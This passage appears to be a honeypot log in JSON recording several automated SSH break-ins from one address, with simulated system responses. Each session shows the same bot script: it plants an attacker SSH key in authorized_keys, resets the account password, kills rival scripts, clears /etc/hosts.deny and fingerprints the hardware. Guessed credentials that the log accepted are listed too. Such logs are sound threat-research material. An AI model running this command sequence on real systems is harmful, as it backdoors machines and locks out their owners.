$2;}'"},{"seq":32,"at":"2026-08-27T07:30:32.584171+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"S3curity","method":"password","accepted":true,"tier":"other"}]} {"id":"33a416c2-d44e-49ee-b200-ed7af2034aa4","name":"lofty-prickly-ocelot","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":57532,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:28:19.250693+00:00","ended_at":"2026-08-27T07:28:21.427591+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T07:27:59.202268+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:27:59.533668+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:28:04.104444+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:28:04.419073+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:28:04.754216+00:00","kind":"input","latency_ms":null,"data":"echo \"root:chehH2VNp6Ki\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:28:05.085562+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:28:05.417764+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:28:06.113276+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:28:06.444205+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:28:07.671700+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:28:08.006681+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:28:09.062889+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:28:09.397385+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:28:09.955449+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:28:10.289393+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:28:10.849662+00:00","kind":"output","latency_ms":null,"data":" 07:28:10 up 7 days, 4:18, 0 user, load average: 0.05, 0.04, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:28:11.181928+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:28:11.938331+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:28:12.271156+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:28:12.963186+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:28:13.297114+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:28:13.955249+00:00","kind":"output","latency_ms":null,"data":"top - 07:28:13 up 7 days, 4:18, 0 user, load average: 0.05, 0.04, 0.04\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:28:14.289900+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:28:15.086396+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:28:15.420111+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:28:16.036878+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:28:16.369341+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:28:17.151608+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:28:17.483377+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:28:18.918238+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:28:19.251508+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:28:21.329497+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"cnp200@HW","method":"password","accepted":true,"tier":"other"}]} {"id":"d57e288b-31b9-43ea-8f21-f6def60e9813","name":"indigo-smooth-magpie","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":37996,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":371,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:26:09.653360+00:00","ended_at":"2026-08-27T07:26:10.832162+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2265,"events":[{"seq":1,"at":"2026-08-27T07:25:51.571457+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:25:51.942003+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:25:56.030769+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:25:56.674206+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:25:57.045439+00:00","kind":"input","latency_ms":null,"data":"echo -e \"deploy123456\\neGzWcGNB34Pm\\neGzWcGNB34Pm\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:25:57.416506+00:00","kind":"input","latency_ms":null,"data":"echo \"deploy123456\\neGzWcGNB34Pm\\neGzWcGNB34Pm\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:25:57.786503+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:25:58.060542+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:25:58.434468+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:25:59.440097+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:25:59.813421+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:26:00.826426+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:26:01.199116+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:26:01.701353+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:26:02.071152+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:26:02.900035+00:00","kind":"output","latency_ms":null,"data":" 07:26:02 up 7 days, 4:16, 0 user, load average: 0.24, 0.31, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:26:03.271737+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:26:03.919609+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:26:04.291507+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:26:04.714111+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:26:05.086850+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:26:05.379459+00:00","kind":"output","latency_ms":null,"data":"top - 07:26:05 up 7 days, 4:16, 0 user, load average: 0.24, 0.31, 0.18\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:26:05.746040+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:26:06.112644+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:26:06.483318+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:26:06.806365+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:26:07.178337+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:26:07.679711+00:00","kind":"output","latency_ms":null,"data":"deploy"},{"seq":29,"at":"2026-08-27T07:26:08.051512+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:26:09.280764+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:26:09.654317+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:26:10.721004+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"deploy","password":"deploy123456","method":"password","accepted":true,"tier":"other"}]} {"id":"04f01d6a-7440-4531-9115-1c058db21d70","name":"verdant-civil-pangolin","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":46694,"username":"nfs","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":333,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:24:11.491429+00:00","ended_at":"2026-08-27T07:24:12.531091+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2242,"events":[{"seq":1,"at":"2026-08-27T07:23:52.040029+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:23:52.372503+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:23:57.018605+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:23:57.812404+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:23:58.145442+00:00","kind":"input","latency_ms":null,"data":"echo -e \"nfs\\nB3SDvG4di8nS\\nB3SDvG4di8nS\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:23:58.476010+00:00","kind":"input","latency_ms":null,"data":"echo \"nfs\\nB3SDvG4di8nS\\nB3SDvG4di8nS\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:23:58.808841+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:23:59.616801+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:23:59.949732+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:24:01.351745+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:24:01.686838+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:24:02.890196+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:24:03.223087+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:24:03.845621+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:24:04.178639+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:24:04.691709+00:00","kind":"output","latency_ms":null,"data":" 07:24:04 up 7 days, 4:14, 0 user, load average: 0.11, 0.11, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:24:05.024206+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:24:05.440224+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:24:05.774404+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:24:06.156715+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:24:06.490531+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:24:06.807721+00:00","kind":"output","latency_ms":null,"data":"top - 07:24:06 up 7 days, 4:14, 0 user, load average: 0.11, 0.11, 0.1\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:24:07.143458+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:24:07.964353+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:24:08.297518+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:24:08.969630+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:24:09.302519+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:24:10.010111+00:00","kind":"output","latency_ms":null,"data":"nfs"},{"seq":29,"at":"2026-08-27T07:24:10.343914+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:24:11.159342+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:24:11.492211+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:24:12.432454+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"nfs","password":"nfs","method":"password","accepted":true,"tier":"other"}]} {"id":"9d5b2901-3556-4c9b-806e-07f5bc37792c","name":"lonesome-vaulted-mongoose","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":55388,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:22:10.073480+00:00","ended_at":"2026-08-27T07:22:11.907203+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2289,"events":[{"seq":1,"at":"2026-08-27T07:21:52.567878+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:21:52.900685+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:21:56.636271+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:21:57.348387+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:21:57.686015+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HTXHDqKCe47M\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:21:58.016032+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:21:58.348326+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:21:59.227039+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:21:59.561105+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:22:00.673768+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:22:01.009625+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:22:01.944641+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:22:02.279854+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:22:02.641001+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:22:02.974610+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:22:03.381943+00:00","kind":"output","latency_ms":null,"data":" 07:22:03 up 7 days, 4:12, 0 user, load average: 0.3, 0.23, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:22:03.716140+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:22:04.169463+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:22:04.503339+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:22:04.886144+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:22:05.221515+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:22:05.697964+00:00","kind":"output","latency_ms":null,"data":"top - 07:22:05 up 7 days, 4:12, 0 user, load average: 0.3, 0.23, 0.2\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:22:06.033240+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:22:06.375429+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:22:06.713950+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:22:07.277168+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:22:07.611992+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:22:07.998919+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:22:08.335091+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:22:09.740585+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:22:10.074327+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:22:11.807943+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"newpassword123","method":"password","accepted":true,"tier":"other"}]} {"id":"8477a6bd-07cb-4fd4-979f-12cccb1b9c57","name":"gnarled-cosmic-goose","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":35846,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:20:03.763769+00:00","ended_at":"2026-08-27T07:20:05.167051+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2282,"events":[{"seq":1,"at":"2026-08-27T07:19:44.772694+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:19:45.093301+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:19:50.034205+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:19:50.727829+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:19:51.051636+00:00","kind":"input","latency_ms":null,"data":"echo 